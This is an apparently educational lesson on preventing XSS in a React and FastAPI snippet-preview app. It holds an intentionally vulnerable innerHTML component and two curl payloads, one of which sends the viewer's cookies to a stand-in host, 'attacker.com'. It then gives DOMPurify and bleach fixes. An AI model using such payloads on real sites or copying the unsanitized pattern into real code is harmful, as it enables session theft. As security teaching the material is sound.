Preventing XSS Injection

Welcome back! In this lesson, we will explore the concept of XSS injection, a critical security vulnerability in web applications. Understanding this topic is essential for building secure applications and protecting user data. XSS injection occurs when attackers exploit improperly handled inputs to inject malicious JavaScript code that executes in users' browsers.

This lesson will guide you through the process of identifying, exploiting, and mitigating XSS injection vulnerabilities in both frontend and backend components. Let's dive in! 🚀

XSS injection is a technique used by attackers to exploit vulnerabilities in web applications. When user inputs are not properly validated or sanitized, attackers can inject malicious JavaScript code that executes in other users' browsers. This can lead to unauthorized access, data breaches, and even session hijacking. In our example, we'll examine a code snippet preview feature that's vulnerable to XSS attacks. This feature is designed to display HTML content, which is commonly used in applications like code-sharing platforms, content management systems, or any system that needs to render formatted text or code examples.

Now, let's look at how this vulnerability manifests in a real web application using React and FastAPI.

Our example focuses on a React component that allows users to preview code snippets. The application renders user-supplied HTML directly in the browser without any sanitization using React's dangerouslySetInnerHTML equivalent pattern. This is a common pattern in code-sharing platforms, but it can be extremely dangerous if not handled correctly.

Here is a simplified example of a vulnerable React component:

import { useEffect, useRef } from 'react';

type PreviewProps = {
  content: string;
  language: string;
  lineCount: number;
};

/*
 * VULNERABLE: Directly assigns innerHTML with no sanitization.
 */
function Preview({ content, language, lineCount }: PreviewProps) {
  const previewRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (previewRef.current) {
      previewRef.current.innerHTML = content; // Dangerous
    }
  }, [content]);

  return (
    <div style={{ marginTop: '20px' }}>
      <h3>Preview:</h3>
      <div>
        <p>Language: {language}</p>
        <p>Lines of Code: {lineCount}</p>
      </div>
      <div ref={previewRef}></div>
    </div>
  );
}

export default Preview;

This component is vulnerable because it directly assigns user-supplied HTML to innerHTML without any validation or sanitization. If a user submits a snippet containing malicious JavaScript, that code will execute in the browser of anyone who views the snippet. This creates a significant security risk, as we'll see in the next section.

The vulnerability becomes particularly dangerous because the injected code will execute for anyone who views the snippet. This means that if an administrator or privileged user views a malicious snippet, their session could be compromised. Here are two examples of how an attacker might exploit this vulnerability in our application:

Example 1 - Simple Alert (Educational Purpose):

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -d '{"title": "XSS Test", "content": "<img src=\"x\" onerror=\"alert(document.cookie)\">", "language": "javascript", "userId": "1"}'

This payload creates an image tag that intentionally fails to load (src="x"), triggering the onerror event. When triggered, it shows an alert containing the user's cookies.

Example 2 - Data Theft (Real Attack Scenario):

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -d '{"title": "Malicious", "content": "<div>Loading...</div><img src=\"x\" onerror=\"fetch(`https://attacker.com/steal?cookie=${document.cookie}`)\">", "language": "javascript", "userId": "1"}'

This more sophisticated attack appears harmless with a "Loading..." message but secretly sends the viewer's session cookie to the attacker's server. If an administrator views this snippet, their privileged session could be hijacked.

Now that we understand the severity of these vulnerabilities, let's look at how we can protect against them using both client-side and server-side defenses.

The first line of defense is to sanitize content before rendering it in the browser. In React applications, the DOMPurify library is the industry standard for sanitizing HTML. It removes dangerous JavaScript and HTML elements while preserving safe content.

Here's how you can secure the React component using DOMPurify:

import { useEffect, useRef } from 'react';
import DOMPurify from 'dompurify';

type PreviewProps = {
  content: string;
  language: string;
  lineCount: number;
};

/*
 * DEFENSIVE: Sanitizes HTML using DOMPurify before rendering.
 */
function Preview({ content, language, lineCount }: PreviewProps) {
  const previewRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (previewRef.current) {
      // Sanitize the content before setting innerHTML
      const sanitized = DOMPurify.sanitize(content);
      previewRef.current.innerHTML = sanitized;
    }
  }, [content]);

  return (
    <div style={{ marginTop: '20px' }}>
      <h3>Preview:</h3>
      <div>
        <p>Language: {language}</p>
        <p>Lines of Code: {lineCount}</p>
      </div>
      <div ref={previewRef}></div>
    </div>
  );
}

export default Preview;

In this implementation, DOMPurify.sanitize() processes the content before it's rendered. The library automatically removes dangerous elements like <script> tags, event handlers (onerror, onclick, etc.), and JavaScript URLs while keeping safe HTML intact. This provides strong protection against XSS attacks at the client level.

While client-side sanitization is crucial, it's not sufficient on its own. An attacker could bypass the frontend entirely by sending malicious requests directly to your API. This is why defense in depth is essential — you need to sanitize data on the server side as well.

In Python FastAPI applications, the bleach library is the recommended choice for sanitizing HTML. It allows you to specify exactly which HTML tags and attributes are allowed, stripping out anything potentially dangerous.

Here's how you can use bleach to sanitize user input in your FastAPI application:

from fastapi import APIRouter, Depends, HTTPException, Request
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from ..database import get_db
from ..models.snippet import Snippet
import uuid
import bleach

router = APIRouter()

# Define allowed tags and attributes for sanitization
ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'a', 'p', 'div', 'code', 'pre', 'br', 'span']
ALLOWED_ATTRIBUTES = {
    'a': ['href']
}
ALLOWED_PROTOCOLS = ['http', 'https']
MAX_CONTENT_LENGTH = 5000

@router.post("")
async def create_snippet(request: Request, db: AsyncSession = Depends(get_db)):
    """Create a new snippet with sanitized content"""
    data = await request.json()
    
    # Validate content length before sanitization
    if len(data['content']) > MAX_CONTENT_LENGTH:
        raise HTTPException(
            status_code=400, 
            detail=f"Content exceeds maximum length of {MAX_CONTENT_LENGTH} characters"
        )
    
    # Sanitize the content before storing
    sanitized_content = bleach.clean(
        data['content'],
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        protocols=ALLOWED_PROTOCOLS,
        strip=True
    )
    
    snippet = Snippet(
        id=str(uuid.uuid4()),
        title=data['title'],
        content=sanitized_content,
        language=data['language'],
        userId=data.get('userId')
    )
    
    db.add(snippet)
    await db.commit()
    await db.refresh(snippet)
    
    return {
        "id": snippet.id,
        "title": snippet.title,
        "content": snippet.content,
        "language": snippet.language
    }

In this implementation, bleach is configured to allow only specific HTML tags (b, i, em, strong, a, p, div, code, pre, br, span) and attributes (only href for anchor tags). The protocols option ensures that links can use only safe protocols like http and https. Any HTML elements, attributes, or URL schemes not explicitly allowed will be stripped from the content before it's stored.

This strict whitelist approach ensures that potentially dangerous content never makes it into your application's storage or output, providing a critical second layer of defense.

The most secure approach combines both client-side and server-side sanitization:

1. Client-side with DOMPurify: Provides immediate feedback and prevents XSS attacks for users interacting through your React frontend.
2. Server-side with bleach: Protects against attackers who bypass the frontend by sending requests directly to your API.
3. Input validation: Enforce length limits and data type checks to reject malformed data early.

This multi-layered defense ensures that even if one layer fails or is bypassed, the others will still protect your application and users.

In this lesson, we explored XSS injection vulnerabilities using a real-world example of a code snippet preview feature in a React and FastAPI application. We learned how attackers can exploit unsanitized inputs and how to implement robust defense using HTML sanitization with both DOMPurify (client-side) and bleach (server-side). This defense-in-depth approach provides comprehensive protection against XSS attacks while still allowing legitimate HTML content.

As you move forward, practice these techniques in the exercises that follow to reinforce your understanding. Stay tuned for the next lesson, where we'll continue to build on these foundational security concepts. Keep up the great work! 🎉